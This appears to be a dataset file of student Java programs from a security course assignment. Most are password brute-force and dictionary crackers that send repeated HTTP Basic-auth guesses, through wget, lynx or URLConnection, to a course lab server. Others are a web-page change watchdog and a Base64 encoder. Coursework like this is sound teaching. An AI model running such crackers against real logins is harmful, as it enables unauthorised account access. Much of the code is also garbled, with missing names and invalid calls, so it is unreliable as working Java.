      URL url = new URL(baseURL); 
      String username="""";
      password = dictionary.elementAt(count).toString(); 

      
      String authString = username+"":""+password;
      String encoding = new misc.BASE64Encoder().encode(authString.getBytes()); 
      System.out.print(""authString is: ""+authString);     
      
      URLConnection urlConnect=url.openConnection();

      
      urlConnect.setRequestProperty(""Authorization"","" ""+encoding);

      String responseCode = urlConnect.getHeaderField(0);
      System.out.print("" Response  is: "");
      System.out.println(responseCode);

      if (!responseCode.equals(""HTTP/1.1 401 Authorization Required"")) {
        found=true;
      }          
      if (found){ 
      
        System.out.println(""Password is: ""+password);

      }

      Date foundDate = new Date();
       foundTime=foundDate.getTime();  
      foundTime=(foundTime-startTime);
      System.out.println(""Time taken was : ""+foundTime+"" milliseconds""); 
      count=count+1;
    }
  } 
  
  
  
  
  
  public static Vector readWords() {   
    String nextWord;
    String lastWord="""";
    Vector dict=new Vector();
    try {
      BufferedReader in = new BufferedReader(new FileReader(""words.txt""));
      while ((nextWord = in.readLine())!=null) {
	
        if (nextWord.length()>3) {
          nextWord=nextWord.substring(0,3);
        }
	
	if (!lastWord.equals(nextWord) && nextWord.length()>0){
          lastWord = nextWord;
	  
	 
	  dict.addElement(nextWord);

	  
	  
	 
	 
	 

	  
	 
	 
	    
	  
	   
	   
	   
	   
	   

	    
	   
	   
	  
	  
	  
	  

	    
	   
	   
	      
	   
	   
	   

	      
	   
	    
	    

	      
	    
	    
	    

	      
	    
	    
	    
	   
	
	}  
      }  
       System.out.println(""File successfully loaded"");	     
    }  
    catch (FileNotFoundException e1) {
      System.out.println(""This program requires a dictionary of words called words.txt   in the same directory as the program running, now exiting."");
      System.exit(0);
    }	
    catch (IOException e2) {
      System.out.println(""IO Exception, exiting"");
      System.exit(0);
    }	    
    finally {
      try {
	if (null!=in) {
          in.get();
	}
      }
      catch (IOException e3) {}
    }
    return dict;
  } 
}  
"
194.java,"
import java.io.*;
import java.util.*;


class BruteForce{

public static void main(String args[]){

String pass,s;
char a,b,c;
int z=0;
int attempt=0;
Process p;


char password[]={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q',
            'R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h',
            'i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'};
 z = System.currentTimeMillis();
int at=0;
for(int i=0;i<password.length;i++){
 for(int j=0;j<password.length;j++){
  for(int k=0;k<password.length;k++){
      pass=String.valueOf(password[i])+String.valueOf(password[j])+String.valueOf(password[k]);

     try {
          System.out.println(""Trying  crack using: ""+pass);
          at++;


          p = Runtime.getRuntime().exec(""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
          try{
          p.waitFor();
         }
      catch(Exception q){}


          z = p.exitValue();


      if(z==0)
      {
       finish = System.currentTimeMillis();
      float time = finish - t;
      System.out.println(""PASSWORD CRACKED:""+ pass + "" in "" + at + "" attempts "" );
      System.out.println(""PASSWORD CRACKED:""+ pass + "" in "" + time + "" milliseconds "" );
      System.exit(0);
      }

      }
     catch (IOException e) {
        System.out.println(""Exception happened"");
        e.printStackTrace();
        System.exit(-1);
                           }

        }
       }
      }
    }
  }


"
056.java,"

                  
                  


    class BruteForce
   {
       public static void main (String []a)throws Exception
      {
         PasswordGen p1,p2,p3,p4,p5,p6,p7,p8;
         int count=1;
         p1=new PasswordGen(1,""1"");
	     p2=new PasswordGen(2,""2"");
	     p3=new PasswordGen(3,""3"");
    	 p4=new PasswordGen(4,""4"");
	     p5=new PasswordGen(5,""5"");
    	 p6=new PasswordGen(6,""6"");
	     p7=new PasswordGen(7,""7"");
     	 p8=new PasswordGen(8,""8"");

    
    	 p1.t.join();
	     p2.t.join();
    	 p3.t.join();
    	 p4.t.join();
    	 p5.t.join();
    	 p6.t.join();
    	 p7.t.join();
     	 p8.t.join();



      }
   }



   class PasswordGen implements Runnable
  {

         char upperAlpha[] =new char[26]; 
         char lowerAlpha[]=new char[26];  
         char lowerChar='a',upperChar='A';
         String passwd1; 

         int threadNumber=0;
         static boolean  successFlag=false;
         

         Thread t;
         static String crackedPasswd=""""; 



        PasswordGen(int Number,String name)
       {
           for(int i=0;i<26;i++)
         {
          upperAlpha[i]=upperChar;
          lowerAlpha[i]=lowerChar;
     	  upperChar++;
	      lowerChar++;

         }

          this.threadNumber=Number;
          t= new Thread(this,name);
          t.exec(); 

       }

        public void run()
       {
          int i,j,k;
          String url;
    	  int exitValue=-1;
          int startTime=0,finishTime=0;
	      int noAttempts=0; 

          try
         {
            switch(threadNumber)
            {

               case 1:  

	                  startTime=System.currentTimeMillis();
	                  for(i=25;i>=0;i--)
                     {
                        for( j=25;j>=0;j--)
            		    {
                          for( k=25;k>=0;k--)
                         {
                             try
                              {
			                   if(successFlag)break; 
                               passwd1=""""+lowerAlpha[i]+""""+lowerAlpha[j]+""""+lowerAlpha[k];
                               System.out.println(passwd1);
                               url=""wget --http-user= --http-passwd=""+passwd1+"" http://sec-crack.cs.rmit.edu./SEC/2/ "";
                               exitValue=executemyurl(url);
                               noAttempts++;

                               if(exitValue==0) 
                 			      {
			                        crackedPasswd= passwd1;
                    			    System.out.println(""Cracked Passwd is:=""+crackedPasswd);
                  			       
                                    successFlag=true;
                                    finishTime=System.currentTimeMillis();
	                     			System.out.println(""Time taken  crack the password is :""+((finishTime-startTime)/1000) +""seconds"");
                    				System.out.println(noAttempts);
                    				

                 			       }
                              }
                           catch(Exception e){System.out.println(e);}

                       }
                     }
                  }

           break;
            

             case 2:    
                  for(i=0;i<=25;i++)
                    {
                     for( j=0;j<=25;j++)
                      {
                       for( k=0;k<=25;k++)
                       {

                           if(successFlag)break;
                            try
                              {
                                passwd1=""""+lowerAlpha[i]+""""+lowerAlpha[j]+""""+upperAlpha[k];
	                            url=""wget --http-user= --http-passwd=""+passwd1+"" http://sec-crack.cs.rmit.edu./SEC/2/ "";
	                            System.out.println(passwd1);
                                exitValue=executemyurl(url);

                                noAttempts++;

                                if(exitValue==0)
                 			      {
			                        crackedPasswd= passwd1;
                			        System.out.println(""Cracked Passwd is:=""+crackedPasswd);
                                    successFlag=true;
                                 	finishTime=System.currentTimeMillis();
				                	System.out.println(""Time taken  crack the password is :""+((finishTime-startTime)/1000) +""seconds"");
                     				System.out.println(noAttempts);
                                 }
                             }
                          catch(Exception e){System.out.println(e);}
                        }
                       }
                     }
             break;

           case  3:
		   for(i=0;i<26;i++)
                    {
                     for(j=0;j<26;j++)
                      {
                       for(k=0;k<26;k++)
                        {
                           if(successFlag)break;
                           try
                            {
                              passwd1=""""+lowerAlpha[i]+""""+upperAlpha[j]+""""+lowerAlpha[k];
                              url=""wget --http-user= --http-passwd=""+passwd1+"" http://sec-crack.cs.rmit.edu./SEC/2/ "";
                              System.out.println(passwd1);
                              exitValue=executemyurl(url);
                              noAttempts++;

                             if(exitValue==0)
            			      {
			                    crackedPasswd= passwd1;
             	  		        System.out.println(""Cracked Passwd is:=""+crackedPasswd);
                                successFlag=true;
                               finishTime=System.currentTimeMillis();
                               System.out.println(""Time taken  crack the password is :""+((finishTime-startTime)/1000) +""seconds"");
                               System.out.println(noAttempts);

                              }


                            }
                          catch(Exception e){System.out.println(e);}
                        }
                      }
                    }
               break;

          case 4:
		   for(i=0;i<26;i++)
                    {
                      for(j=0;j<26;j++)
                      {
                        for(k=0;k<26;k++)
                       {
                           if(successFlag)break;
                           try
                            {
                              passwd1=""""+lowerAlpha[i]+""""+upperAlpha[j]+""""+upperAlpha[k];
                               System.out.println(passwd1);
                              url=""wget --http-user= --http-passwd=""+passwd1+"" http://sec-crack.cs.rmit.edu./SEC/2/ "";
                              exitValue=executemyurl(url);
                              noAttempts++;

                             if(exitValue==0)
                             {
                             crackedPasswd= passwd1;
                             System.out.println(""Cracked Passwd is:=""+crackedPasswd);
                             successFlag=true;
                            finishTime=System.currentTimeMillis();
                            System.out.println(""Time taken  crack the password is :""+((finishTime-startTime)/1000) +""seconds"");
                            System.out.println(noAttempts);
           			       }

                         }
                        catch(Exception e){System.out.println(e);}
                       }
                     }
                    }
               break;

          case  5:
		   for(i=0;i<26;i++)
                    {
                     for(j=0;j<26;j++)
                      {
                       for(k=0;k<26;k++)
                       {
                           if(successFlag)break;
		            	    try
                            {
                              passwd1=""""+upperAlpha[i]+""""+lowerAlpha[j]+""""+lowerAlpha[k];
                              System.out.println(passwd1);
                              url=""wget --http-user= --http-passwd=""+passwd1+"" http://sec-crack.cs.rmit.edu./SEC/2/ "";
                              exitValue=executemyurl(url);
                              noAttempts++;

                              if(exitValue==0)
                               {
                                 crackedPasswd= passwd1;
                                 System.out.println(""Cracked Passwd is:=""+crackedPasswd);
                                 successFlag=true;
                                 finishTime=System.currentTimeMillis();
                                 System.out.println(""Time taken  crack the password is :""+((finishTime-startTime)/1000) +""seconds"");
                                 System.out.println(noAttempts);

               			       }


                           }
                          catch(Exception e){System.out.println(e);}
                       }
                      }
                    }
              break;
           case 6:
		   for(i=0;i<26;i++)
                    {
                     for(j=0;j<26;j++)
                     {
                       for(k=0;k<26;k++)
                       {
                           if(successFlag)break;
			                  try
                             {
                              passwd1=""""+upperAlpha[i]+""""+lowerAlpha[j]+""""+upperAlpha[k];
                               System.out.println(passwd1);
                              url=""wget --http-user= --http-passwd=""+passwd1+"" http://sec-crack.cs.rmit.edu./SEC/2/ "";
                              exitValue=executemyurl(url);
                              noAttempts++;

                             if(exitValue== 0)
                              {
                               crackedPasswd= passwd1;
                               System.out.println(""Cracked Passwd is:=""+crackedPasswd);
                               successFlag=true;
                               finishTime=System.currentTimeMillis();
                               System.out.println(""Time taken  crack the password is :""+((finishTime-startTime)/1000) +""seconds"");
                               System.out.println(noAttempts);

                               }
                             }
                          catch(Exception e){System.out.println(e);}
                       }
                     }
                    }
               break;
           case 7:
		   for(i=0;i<26;i++)
                    {
                     for(j=0;j<26;j++)
                      {
                       for(k=0;k<26;k++)
                       {
                          if(successFlag)break;
                          try
                            {
                              passwd1=""""+upperAlpha[i]+""""+upperAlpha[j]+""""+lowerAlpha[k];
                               System.out.println(passwd1);
			                   url=""wget --http-user= --http-passwd=""+passwd1+"" http://sec-crack.cs.rmit.edu./SEC/2/ "";

                               exitValue=executemyurl(url);
                               noAttempts++;

                              if(exitValue==0)
                              {
                     		    crackedPasswd= passwd1;
                   		       System.out.println(""Cracked Passwd is:=""+crackedPasswd);
                               successFlag=true;
                               finishTime=System.currentTimeMillis();
                               System.out.println(""Time taken  crack the password is :""+((finishTime-startTime)/1000) +""seconds"");
                               System.out.println(noAttempts);
                               }

                             }
                          catch(Exception e)
                          {
                            System.out.println(e);

                          }

                        }
                       }
                    }
                      break;
           case 8:
		   for(i=0;i<26;i++)
                    {
                     for(j=0;j<26;j++)
                      {
                       for(k=0;k<26;k++)
                        {

                           if(successFlag)break;
             			    try
                            {
                              passwd1=""""+upperAlpha[i]+""""+upperAlpha[j]+""""+upperAlpha[k];
                              System.out.println(passwd1);
			     		       url=""wget --http-user= --http-passwd=""+passwd1+"" http://sec-crack.cs.rmit.edu./SEC/2/ "";

				                exitValue=executemyurl(url);
                                noAttempts++;

                                 if(exitValue==0)
                 			     {
			      			       crackedPasswd= passwd1;
                   			       System.out.println(""Cracked Passwd is:=""+crackedPasswd);
                                   successFlag=true;
                                    finishTime=System.currentTimeMillis();
                                    System.out.println(""Time taken  crack the password is :""+((finishTime-startTime)/1000) +""seconds"");
                                    System.out.println(noAttempts);
                 		       }
			                }
                          catch(Exception e){System.out.println(e);}
                         }
                       }
                     }

              break;
            }
          }

       catch(Exception e ){System.out.println();}
     }

      int executemyurl(String url) throws Exception
	  {
	       Process p;
	       Runtime r=Runtime.getRuntime();
	       p=r.exec(url);
	       p.waitFor();
        	r.freeMemory();
	     	r.gc();
    	   return p.exitValue();
	   }

   }



"
091.java,"import java.io.*;
import java.net.*;
import java.misc.*;

public class BruteForce
{
   private static char increment(char pw)
   {
      if(pw=='Z')
      {
         return 'a';
      }
      else if(pw=='z')
      {
         return 'A';
      }
      else
      {
         return (char) (pw+1);
      }
   }

   public static void main (String args[]) throws IOException
   {

      final int maxLength = 3;
      final String username = """";
      final URL pageURL = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");


      String password="""";
      char passwd[];
      BASE64Encoder encoder = new BASE64Encoder();
      boolean notFound = true;
      HttpURLConnection conn;

      for(int pwl=1;pwl<=maxLength&&notFound;pwl++)
      {
         passwd = new char[pwl];
         for(int init=0;init<pwl;init++)
         {
            passwd[init]='A';
         }

         for(int i=0;i<Math.pow(52,pwl);i++)
         {
            password=new String(passwd);
            conn = (HttpURLConnection) pageURL.openConnection();
            conn.setRequestProperty(""Authorization"", "" ""+encoder.encode((username+"":""+password).getBytes()));
            if((conn.getResponseCode())==HttpURLConnection.HTTP_OK)
            {
               notFound=false;
               break;
            }

            for(int j=pwl-1;j>=0;j--)
            {
               if((passwd[j]=increment(passwd[j]))!='A')
               {
                  break;
               }
            }
         }
      }

      if(notFound)
      {
         System.out.println("" valid password found."");
      }
      else
      {
         System.out.println(""Found valid password: \""""+password+""\"""");
      }

   }
}

"
000.java,"



import java.io.*;





class BruteForce{
	public static void main (String args[]){

		URLHack uh = new URLHack();

		String pas,pas1,pas2,pas3;
		String passs;

       

		for(int i = 97; i <= 122; i++)
		{
			for(int j = 97; j <=122; j++)
			{
				for(int k = 97; k <= 122; k++)
				{
				
				pas1 = new Character((char)i).toString();
				pas2 = new Character((char)j).toString();
				pas3 = new Character((char)k).toString();
				passs= pas1+pas2+pas3;
				uh.crackIt(passs);
				
				

				}
			}
		}
        System.exit(0);
        for(int i = 65; i <= 90; i++)
		{
			for(int j = 65; j <=90; j++)
			{
				for(int k = 65; k <= 90; k++)
				{
				pas1 = new Character((char)i).toString();
				pas2 = new Character((char)j).toString();
				pas3 = new Character((char)k).toString();
				passs= pas1+pas2+pas3;
				uh.crackIt(passs);
				
				

				}
			}
		}
		for(int i = 65; i <= 90; i++)
		{
			for(int j = 97; j <=122; j++)
			{
				for(int k = 65; k <= 90; k++)
				{
				pas1 = new Character((char)i).toString();
				pas2 = new Character((char)j).toString();
				pas3 = new Character((char)k).toString();
				passs= pas1+pas2+pas3;
				uh.crackIt(passs);
				
				

				}
			}
		}

		for(int i = 97; i <= 122; i++)
		{
			for(int j = 97; j <=122; j++)
			{
				for(int k = 65; k <= 90; k++)
				{
				pas1 = new Character((char)i).toString();
				pas2 = new Character((char)j).toString();
				pas3 = new Character((char)k).toString();
				passs= pas1+pas2+pas3;
				uh.crackIt(passs);
				
				

				}
			}
		}

		for(int i = 97; i <= 122; i++)
		{
			for(int j = 65; j <=90; j++)
			{
				for(int k = 65; k <= 90; k++)
				{
				pas1 = new Character((char)i).toString();
				pas2 = new Character((char)j).toString();
				pas3 = new Character((char)k).toString();
				passs= pas1+pas2+pas3;
				uh.crackIt(passs);
				
				

				}
			}
		}

		for(int i = 65; i <= 90; i++)
		{
			for(int j = 97; j <= 122; j++)
			{
				pas1 = new Character((char)i).toString();
				pas2 = new Character((char)j).toString();
				passs= pas1+pas2;
				uh.crackIt(passs);
			}
		}


	}

}

class URLHack{

public void crackIt(String paas){
		Process p=null;
		try{
			p = Runtime.getRuntime().exec(""wget -nv --http-user= --http-passwd=""+paas+
			"" http://sec-crack.cs.rmit.edu./SEC/2/"");
			


			InputStream is = p.getErrorStream();
			BufferedReader bf = new BufferedReader(new InputStreamReader(is));

			String tempLine="""";
			tempLine = bf.readLine();
			System.out.println(tempLine);

			if(tempLine.length() == 21)
				System.out.println(""Invalid Password "" +paas);
			else
			{
				System.out.println(""BINGO "" + paas);
				System.exit(0);
			}


		}

		catch(Exception e){
			System.out.println("" ERROR ""+e);



		}

}
}"
178.java,"import java.io.*;
import java.net.*;
import java.util.*;

public class Watchdog
{
	public static void main(String args[])
	{
		
		String mainLink=""http://www.cs.rmit.edu./students/"";
		String sender = ""@cs.rmit.edu."";
		String recipient = ""<webtech@acuneeds.>"";
		String hostName = ""yallara.cs.rmit.edu."";
		int delay = 86400000;

		try
		{
			int imgSrcIndex, imgSrcEnd;
			String imgLink;
			Vector imageList = new Vector();
			HttpURLConnection imgConnection;
			URL imgURL;

			
			EmailClient email = new EmailClient(sender, recipient, hostName);

			
			URL url=new URL(mainLink);
			HttpURLConnection connection = (HttpURLConnection) url.openConnection();

			BufferedReader webpage = new BufferedReader(new InputStreamReader(connection.getInputStream()));

			
			FileWriter fwrite = new FileWriter(""local.txt"");
			BufferedWriter writefile = new BufferedWriter(fwrite);

			String line=webpage.readLine();

			while (line != null)
			{
				
				writefile.write(line,0,line.length());
				writefile.newLine();

				
				line = line.toLowerCase();
				imgSrcIndex=line.indexOf(""src"");

				if(imgSrcIndex!=-1)
				{
					
					imgLink = line.substring(imgSrcIndex+3);
					imgSrcIndex=imgLink.indexOf(""\"""");
					imgLink = imgLink.substring(imgSrcIndex+1);
					imgSrcEnd = imgLink.indexOf(""\"""");
					imgLink = imgLink.substring(0,imgSrcEnd);

					
					if (imgLink.startsWith(""http""))
					{
						imgURL = new URL(imgLink);
						imgConnection = (HttpURLConnection) imgURL.openConnection();
					}
					
					else
					{
						imgURL = new URL(mainLink);
						imgURL = new URL(imgURL, imgLink);
						imgConnection = (HttpURLConnection) imgURL.openConnection();
						imgLink = (imgConnection.getURL()).toString();
					}

					
					imageList.add(new ImageFile(imgLink, imgConnection.getContentLength()));
					imgConnection.disconnect();
				}

				line = webpage.readLine();

			}

			
			writefile.close();
			fwrite.close();
			webpage.close();
			connection.disconnect();

			
			WatchdogThread watchdog = new WatchdogThread(mainLink, imageList, email, delay);
		}

		catch (IOException ioe)
		{
			
			
			System.out.println(ioe);
			System.out.println(""Please run program again."");
			System.exit(0);
		}

	}

}
"
177.java,"import java.io.*;
import java.net.*;
import java.util.*;


public class WatchdogThread implements Runnable
{
    private Thread t;
    private Vector imageList;
    private String mainLink;
    private EmailClient email;
    private int delay;

	
	
	
	
    public WatchdogThread(String nMainLink, Vector images, EmailClient nEmail, int nDelay)
    {
        t=new Thread(this);

        mainLink = nMainLink;
        imageList=images;
        email = nEmail;
        delay = nDelay;

        t.start();
    }

    public void run()
    {
		String errors = """";

		try
		{
			
			Thread.currentThread().sleep(delay);

			
			errors = checkHTML();
			errors += checkImages();

			
			if (!errors.equals(""""))
			{
				String message = ""  some changes in the Students Home    as follows.\n\n"";
				message += errors;

				email.sendMail(""Change in Students Home "", message);
			}

			
			WatchdogThread watchdog = new WatchdogThread(mainLink, imageList, email, delay);
		}

		catch (InterruptedException e )
		{
			System.out.print();
		}

	}

	private String checkHTML()
	{
		String errors = """";
		String line, line2;
		int lineNum = 1;

		try
		{
			FileReader fRead = new FileReader(""local.txt"");
			BufferedReader file = new BufferedReader(fRead);

			URL url=new URL(mainLink);
			HttpURLConnection connection = (HttpURLConnection) url.openConnection();

			BufferedReader webpage = new BufferedReader(new InputStreamReader(connection.getInputStream()));

			line=file.readLine();
			line2=webpage.readLine();

			
			while ((line != null) && (line2 != null))
			{
				
				if (!line.equals(line2))
				{
					errors += ""At line "" + lineNum + ""\n"";
					errors += ""Old:"" + line.trim() + ""\n"";
					errors += ""New:"" + line2.trim() + ""\n\n"";
				}

				line = file.readLine();
				line2=webpage.readLine();
				lineNum+=1;
			}

			
			if (line != null)
			{
				errors += ""  the following extra lines at the end of the old file.\n\n"";

				while (line != null)
				{
					errors += line + ""\n"";
					line = file.readLine();
				}

				errors += ""\n"";
			}

			
			if (line2 != null)
			{
				errors += ""  the following extra lines at the end of the new file.\n\n"";

				while (line2 != null)
				{
					errors += line2 + ""\n"";
					line2 = file.readLine();
				}

				errors += ""\n"";
			}

			file.close();
			fRead.close();
			webpage.close();
			connection.disconnect();
		}
		catch (IOException ioe)
		{
			System.out.print(ioe);
		}
		return errors;
	}

	private String checkImages()
	{
		String errors = """";
		ImageFile image;
		HttpURLConnection imgConnection;
		URL imgURL;
		int contentLen;

		try
		{
			
			
			
			for (int i=0;i<imageList.size();i++)
			{
				image = (ImageFile) imageList.elementAt(i);

				imgURL = new URL(image.getImageUrl());
				imgConnection = (HttpURLConnection) imgURL.openConnection();

				contentLen = imgConnection.getContentLength();

				if (contentLen == -1)
					errors += ""\nUnable  retrieve image file \"""" + image.getImageUrl() + ""\""\n"";

				else if(image.getImageSize() != imgConnection.getContentLength())
					errors += ""\nImage file \"""" + image.getImageUrl() + ""\"" has changed in size\n"";

				imgConnection.disconnect();
			}
		}
		catch (IOException ioe)
		{
			System.out.print(ioe);
		}

		return errors;
	}

}
"
024.java,"



import java.util.*;
import java.net.*;
import java.io.*;
import javax.swing.*;

public class PasswordCombination
{
    private int      pwdCounter = 0;
    private    int  startTime;
    private String   str1,str2,str3;
    private String   url = ""http://sec-crack.cs.rmit.edu./SEC/2/"";
    private String   loginPwd;
    private String[] password;
    private HoldSharedData data;
    private char[] chars = {'A','B','C','D','E','F','G','H','I','J','K','L','M',
                            'N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
                            'a','b','c','d','e','f','g','h','i','j','k','l','m',
                            'n','o','p','q','r','s','t','u','v','w','x','y','z'};

    public PasswordCombination()
    {
        System.out.println(""Programmed by   for INTE1070 Assignment 2"");

        String input = JOptionPane.showInputDialog( ""Enter number of threads"" );
        if(  input == null  )
           System.exit(0);

        int numOfConnections = Integer.parseInt( input );
        startTime = System.currentTimeMillis();
        int pwdCounter  = 52*52*52 + 52*52 + 52;
        password = new String[pwdCounter];

        doPwdCombination();

        System.out.println(""Total Number of Passwords Generated: "" + pwdCounter);
        createConnectionThread( numOfConnections );
    }

    private void doPwdCombination()
    {
        for( int i = 0; i < 52; i ++ )
        {
            str1 = """" + chars[i];
            password[pwdCounter++] = """" + chars[i];
            System.err.print( str1 + "" | "" );

            for( int j = 0; j < 52; j ++ )
            {
                str2 = str1 + chars[j];
                password[pwdCounter++] = str1 + chars[j];

                for( int k = 0; k < 52; k ++ )
                {
                    str3 = str2 + chars[k];
                    password[pwdCounter++] = str2 + chars[k];
                }
            }
        }

        System.err.println( ""\n"" );
    }

    private void loadPasswords( )
    {
        FileReader     fRead;
        BufferedReader buf;
        String         line = null;
        String         fileName = ""words"";

        try
        {
            fRead = new FileReader( fileName );
            buf = new BufferedReader(fRead);

            while((line = buf.readLine( )) != null)
            {
                password[pwdCounter++] = line;
            }
        }
        catch(FileNotFoundException e)
        {
            System.err.println(""File not found: "" + fileName);
        }
        catch(IOException ioe)
        {
            System.err.println(""IO Error "" + ioe);
        }
    }

    private void createConnectionThread( int input )
    {
        data = new HoldSharedData( startTime, password, pwdCounter );

        int numOfThreads = input;
        int batch = pwdCounter/numOfThreads + 1;
        numOfThreads = pwdCounter/batch + 1;
        System.out.println(""Number of Connection Threads Used:"" + numOfThreads);
        ConnectionThread[] connThread = new ConnectionThread[numOfThreads];

        for( int index = 0; index < numOfThreads; index ++ )
        {
            connThread[index] = new ConnectionThread( url, index, batch, data );
            connThread[index].conn();
        }
    }
}  "
059.java,"
      

     public class  Base64Converter
      
      
      {

     public static final char [ ]  alphabet = {
        'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',   
        'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',   
        'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',   
        'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',   
        'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',   
        'o', 'p', 'q', 'r', 's', 't', 'u', 'v',   
        'w', 'x', 'y', 'z', '0', '1', '2', '3',   
        '4', '5', '6', '7', '8', '9', '+', '/' }; 

     
      

     public static String  encode ( String  s )
      
      {
        return encode ( s.getBytes ( ) );
      }

     public static String  encode ( byte [ ]  octetString )
      
      {
        int  bits24;
        int  bits6;

       char [ ]  out
          = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];

       int outIndex = 0;
        int i        = 0;

       while ( ( i + 3 ) <= octetString.length )
        {
          
          bits24  = ( octetString [ i++ ] & 0xFF ) << 16; 
          bits24 |= ( octetString [ i++ ] & 0xFF ) <<  8; 
          bits24 |= ( octetString [ i++ ] & 0xFF ) <<  0;

         bits6 = ( bits24 & 0x00FC0000 ) >> 18; 
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x0003F000 ) >> 12; 
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x00000FC0 ) >> 6; 
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x0000003F );
          out [ outIndex++ ] = alphabet [ bits6 ]; 
        }

       if ( octetString.length - i == 2 )
        {
          
          bits24  = ( octetString [ i     ] & 0xFF ) << 16; 
          bits24 |= ( octetString [ i + 1 ] & 0xFF ) <<  8;

         bits6 = ( bits24 & 0x00FC0000 ) >> 18;
          out [ outIndex++ ] = alphabet [ bits6 ]; 
          bits6 = ( bits24 & 0x0003F000 ) >> 12; 
          out [ outIndex++ ] = alphabet [ bits6 ]; 
          bits6 = ( bits24 & 0x00000FC0 ) >> 6; 
          out [ outIndex++ ] = alphabet [ bits6 ];

         
          out [ outIndex++ ] = '='; 
        }
        else if ( octetString.length - i == 1 )
        {
          
          bits24 = ( octetString [ i ] & 0xFF ) << 16;

         bits6 = ( bits24 & 0x00FC0000 ) >> 18;
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x0003F000 ) >> 12; 
          out [ outIndex++ ] = alphabet [ bits6 ];

         
          out [ outIndex++ ] = '='; 
          out [ outIndex++ ] = '='; 
        }

       return new String ( out );
      }

     
      
}


"
094.java,"


import java.net.*;
import java.io.*;


public class BruteForce{

       private String passwd = """";  
       private String command = """"; 
       private BufferedReader in;   
       private PrintWriter  out;    

       private int startTime = 0;  
       private int endTime = 0;    
       private int totalTimes = 0; 
       
       private boolean bfind = false;
       
       private String str =""abcdefghlijkmnopqrstuvwxyz'ABCDEFGHLIJKMNOPQRSTUVWXYZ0123456789."";

       
       public BruteForce(){}

       
       public void doRequest(){
              startTime = System.currentTimeMillis();
              
              for(int i=0; i < str.length(); i++){
                   if(bfind) break;
                   for(int j=0; j < str.length(); j++){
                        if(bfind) break;
                        for(int k=0; k < str.length(); k++){
                            if(bfind) break;
                            passwd = String.valueOf(str.charAt(i))+ String.valueOf(str.charAt(j))
                                     +String.valueOf(str.charAt(k));
                            connection(passwd);
                        }
                    }
              }
              
              if(!bfind){
                 for(int i = 0; i < str.length(); i++){
                    if(bfind) break;
                    for(int j = 0; j<str.length(); j++){
                        if(bfind) break;
                        passwd = String.valueOf(str.charAt(i))+ String.valueOf(str.charAt(j));
                        connection(passwd);
                    }
                 }
              }
              
              if(!bfind){
                 for(int i = 0; i < str.length(); i++){
                     if(bfind) break;
                     passwd = String.valueOf(str.charAt(i));
                     connection(passwd);
                 }
              }
       }
       
       public void connection(String passwd){
              command = ""lynx -head -dump http://sec-crack.cs.rmit.edu./SEC/2/index.php -auth=:"";
              command = command + passwd;
              try{
                  System.out.println(passwd +""-->  Establishing a connection."");
                  Runtime runtime = Runtime.getRuntime();
                  Process p = runtime.exec(command);
                  in = new BufferedReader(new InputStreamReader(p.getInputStream()));
                  String inStr;
                  while((inStr = in.readLine())!= null){
                        if(inStr.indexOf(""HTTP/1.1 200"") != -1 || inStr.indexOf(""HTTP/1.0 200"") != -1||
                            inStr.indexOf(""HTTP/1.1 404"") != -1 || inStr.indexOf(""HTTP/1.0 404"") != -1){
                            endTime = System.currentTimeMillis();
                            totalTimes = endTime - startTime;
                            System.out.println(""\nBruteForce Crack PassWord successful! PassWord is "" + passwd);
                            System.out.println(""Total Times is "" + totalTimes + "" milliSec"");
                            System.out.println(""Writing it  brutepswd.txt file\n"");
                            out = new PrintWriter(new BufferedWriter(new FileWriter(""brutepswd.txt"")));
                            out.println(""BruteForce Crack PassWord Successful! Total Times: "" + totalTimes + "" milliSec"");
                            out.println(""Passwd: ""+ passwd);
                            out.flush();
                            bfind = true;
                        }
                        out.print();
                  }
                  in.print();
              }catch(Exception e){System.out.println(e.getMessage());}
       }
       
       public String getAnyKey()throws Exception{
		      BufferedReader stdin =new BufferedReader(new InputStreamReader(System.in));
		      String key= stdin.readLine();
	          return key;
	   }
	   
       public static void main (String []args){

              BruteForce bf = new BruteForce();
              System.out.println(""\n*******************************************"");
              System.out.println(""*                                         *"");
              System.out.println(""*     BruteForce Crack Passwd Program     *"");
              System.out.println(""*    ---------------------------------    *"");
              System.out.println(""*          Author:              *"");
              System.out.println(""*                                         *"");
              System.out.println(""*******************************************"");
              System.out.println(""\n  BruteForce Crack Passwd Information:\n"");
              System.out.println(""--> UserName: "");
              System.out.println(""--> MaxPasswdLength: 3"");
              System.out.println(""--> URL: http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
              System.out.println(""--> Alphabet: ""+ bf.str+""\n"");
              System.out.println(""==> Press Ctrl+C  stop Crack\n"");
              System.out.print(""==> Press EnterKey  : "");
              try{
                  String key = bf.getAnyKey();
              }catch(Exception e){System.out.println(e.getMessage());}
              bf.doRequest();
       }
}"
097.java,"



public class RunWatchDog{
       public static void main(String []args){
              WatchDog wd = new WatchDog();
              System.out.println(""WatchDog is Starting!"");
              wd.FirstRead();
              wd.print();
       }
}"
230.java,"

import java.io.*;
import java.*;
import java.net.*;
import java.util.*;

public class Dictionary {
 public static void  main (String[] args) throws IOException {
  BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in));

       d  = new Date().getTime();
       FileReader fr = new FileReader(""/usr/share/lib/dict/words"");
       BufferedReader bufr = new BufferedReader(fr);
       String word = bufr.readLine();             
       int total = 960;
       String[] pws = new String[total];
       int count = 0;
       while (word!=null){
        if (word.length()<=3) { pws[count] = word; count++;}
	word = bufr.readLine();
       }
       
       int i=0;
       int response = 0;
